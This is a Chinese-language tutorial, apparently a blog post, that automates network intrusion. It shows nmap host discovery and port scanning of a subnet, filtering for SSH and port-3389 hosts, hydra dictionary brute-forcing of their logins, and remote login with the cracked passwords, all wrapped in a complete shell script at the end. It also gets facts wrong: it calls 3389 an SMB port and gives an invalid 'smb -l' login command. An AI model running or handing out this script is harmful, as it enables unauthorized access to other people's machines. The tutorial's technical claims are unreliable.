第一步:找到網段內存活的主機
使用nmap工具查找存活的主機并存到up.txt里面,具體代碼如下:
在命令行輸入:nmap -sn 172.18.16.0/24 > up.txt
從up.txt里面過濾出ip地址存到ip.txt里面,代碼如下:
cat up.txt | grep for | awk '{print $5}'>ip.txt
第二步:使用nmap工具掃描linux和windows的遠程端口
linux系統:
cat /etc/ssh/sshd_config 命令查看linux的遠程端口,linux的遠程端口是22,ssh協議。
windows系統:
開始—運行–cmd下輸入 netstat –nba,命令查看linux的遠程端口,windows的遠程端口是3389,smb協議。
查到遠程登陸窗口后,使用nmap掃描22和3389的端口,代碼如下:
nmap -p22,3389 -iL ip.txt > res.txt
第三步:從結果里過濾出22端口開著的ip地址
從結果里過濾出22端口開著的ip地址,存放到sship.txt里面,代碼如下:
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
sship.txt里面的ip地址都是ssh遠程開著的linux系統,接下來我們只要用hydra得到它們的密碼就可以遠程登陸linux系統了。
第四步:從結果里過濾出3389端口開著的ip地址
從結果里過濾出3389端口開著的ip地址,存放到smbip.txt里面,代碼如下:
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
與第三步類似,smbip.txt里面的ip地址都是smb遠程開著的windows系統,接下來我們只要用hydra得到它們的密碼就可以遠程登陸windows系統了。
第五步:使用hydra暴力破解linux密碼
在命令行輸入以下命令:
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
這段shell使用了user.txt用戶名詞典和passwd.txt密碼詞典以及開啟ssh服務的ip地址,使用hydra進行暴力破解,從暴破結果中過濾取出ip地址對應的用戶名和密碼。
第六步:使用hydra暴力破解windows密碼
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
與第五步相仿,不同的只是協議和ip地址。
第七步:使用找到的密碼遠程登陸
linux遠程連接命令:
ssh -l root 172.18.*.*
輸入這個命令之后,系統會提示你輸入密碼passwd:,這時候你輸入獲取的密碼就可以遠程登陸了。
windows遠程連接命令:
smb -l Administrator 172.18.*.*
根據提示輸入密碼,就可以遠程登陸了。
最后,我把這些命令寫成了一個shell,如下:
#!/bin/sh
para1=$#
para2=$1
if [ $para1 -eq 0 ]; then
echo "請輸入你的位置變量"
else
echo "-------------------stpe1 check up host list---------------------------"
echo "nmap -sn $para2 , please wait for moment......"
nmap -sn "$para2">up.txt
cat up.txt | grep for | awk '{print $5}'>ip.txt
echo "up host is done , save to up.txt"
echo "-------------------stpe2 port check 22 and 3389-----------------------"
echo "22 and 3389 port checking... please wait for moment......"
nmap -p22,3389 -iL ip.txt > res.txt
echo "-------------------stpe3 select 22 port------------------------------"
echo "doing 22 save to sship.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
echo "-------------------stpe4 select 3389 port----------------------------"
echo "doing 3389 save to 3389ip.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
echo "-----------------------------stpe5 attack ssh------------------------"
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
echo "-------------------------stpe6 attack 3389---------------------------"
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
cat -n find.txt
fi